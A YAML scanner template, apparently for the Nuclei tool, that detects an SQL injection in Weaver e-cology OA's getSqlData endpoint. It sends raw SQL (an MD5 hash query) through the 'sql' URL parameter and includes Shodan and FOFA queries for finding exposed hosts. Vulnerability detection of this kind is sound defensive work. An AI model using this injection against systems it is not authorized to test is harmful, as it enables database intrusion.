id: weaver-ecology-getsqldata-sqli

info:
  name: Weaver E-Cology `getsqldata` - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    When the getSqlData interface of the Panwei e-cology OA system uses the mssql database, the built-in SQL statements are not spliced strictly, resulting in a SQL injection vulnerability.
  reference:
    - https://github.com/Wrin9/weaverOA_sql_RCE/blob/14cca7a6da7a4a81e7c7a7016cb0da75b8b290bc/weaverOA_sql_injection_POC_EXP.py#L46
  classification:
    cpe: cpe:2.3:a:weaver:e-cology:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: ecology_JSessionid
    fofa-query: app="泛微-协同办公OA"
    product: e-cology
    vendor: weaver
  tags: ecology,weaver,oa,sqli

variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/Api/portal/elementEcodeAddon/getSqlData?sql=select%20substring(sys.fn_sqlvarbasetostr(hashbytes('MD5','{{num}}')),3,32)"
      - "{{BaseURL}}/Api/portal/elementEcodeAddon/getSqlData?sql="

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - '{{md5(num)}}'

      - type: word
        part: body
        words:
          - '{"api_status":'
          - '"status":true}'
        condition: and
# digest: 4a0a0047304502204988e7902d3a12991da5654ff9d63c6e56500e8df4cfb57e6b5bcdc628e603f6022100eb677e887399e55479b960d8e0d53575b6f5d2b582e8c022df9eadad1ec34d64:922c64590222798bb761d5b6d8e72950